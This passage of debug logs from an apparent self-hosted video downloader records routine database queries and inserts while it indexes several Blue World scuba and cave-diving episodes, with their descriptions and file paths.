Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "8t_R2cmYrBY", "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, 1127, false, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, ~U[2025-06-14 14:00:11Z]] 19:03:17.374 [debug] QUERY OK source="sources" db=0.2ms idle=99.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:17.374 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:17.375 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119038] 19:03:17.375 [debug] Current batch of media processed. Will check again in 1000ms 19:03:18.376 [debug] Current batch of media processed. Will check again in 1000ms 19:03:19.377 [debug] Current batch of media processed. Will check again in 1000ms 19:03:20.379 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "duration" => 1188, "filename" => "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", "id" => "nVlQUwxiNwg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nVlQUwxiNwg", "playlist_index" => 14, "timestamp" => 1748095211, "title" => "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "upload_date" => "20250524"} 19:03:20.380 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1681.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:20.382 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1682.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:20.383 [debug] QUERY OK source="media_items" db=1.1ms idle=1683.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 14:00:11Z], 34] 19:03:20.392 [debug] QUERY OK source="media_items" db=8.1ms idle=1106.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "cbcf4f56-5fef-4776-8fed-9b19688e34a5", "nVlQUwxiNwg", false, "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, [], 1188, false, 14, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, false, 98, ~U[2025-05-24 14:00:11Z], ~U[2026-06-03 23:03:20Z], ~U[2026-06-03 23:03:20Z], "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "nVlQUwxiNwg", "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, 1188, false, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, ~U[2025-05-24 14:00:11Z]] 19:03:20.392 [debug] QUERY OK source="sources" db=0.2ms idle=113.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:20.393 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:20.393 [debug] QUERY OK source="media_items" db=0.2ms idle=11.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119041] 19:03:20.393 [debug] Current batch of media processed. Will check again in 1000ms 19:03:21.394 [debug] Current batch of media processed. Will check again in 1000ms 19:03:22.395 [debug] Current batch of media processed. Will check again in 1000ms 19:03:23.397 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "duration" => 1460, "filename" => "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", "id" => "0-k5a8ca1dk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0-k5a8ca1dk", "playlist_index" => 15, "timestamp" => 1746280812, "title" => "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "upload_date" => "20250503"} 19:03:23.398 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1699.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:23.399 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1700.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:23.402 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1701.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 14:00:12Z], 34] 19:03:23.406 [debug] QUERY OK source="media_items" db=3.0ms idle=1121.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "48693693-6284-44c4-bdef-21a9b5677df2", "0-k5a8ca1dk", false, "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, [], 1460, false, 15, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, false, 98, ~U[2025-05-03 14:00:12Z], ~U[2026-06-03 23:03:23Z], ~U[2026-06-03 23:03:23Z], "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "0-k5a8ca1dk", "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, 1460, false, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, ~U[2025-05-03 14:00:12Z]] 19:03:23.406 [debug] QUERY OK source="sources" db=0.2ms idle=122.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:23.407 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:23.407 [debug] QUERY OK source="media_items" db=0.2ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119043] 19:03:23.407 [debug] Current batch of media processed. Will check again in 1000ms 19:03:24.408 [debug] Current batch of media processed. Will check again in 1000ms 19:03:25.409 [debug] Current batch of media processed. Will check again in 1000ms 19:03:26.411 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "duration" => 819, "filename" => "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", "id" => "felN-1PL66Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=felN-1PL66Y", "playlist_index" 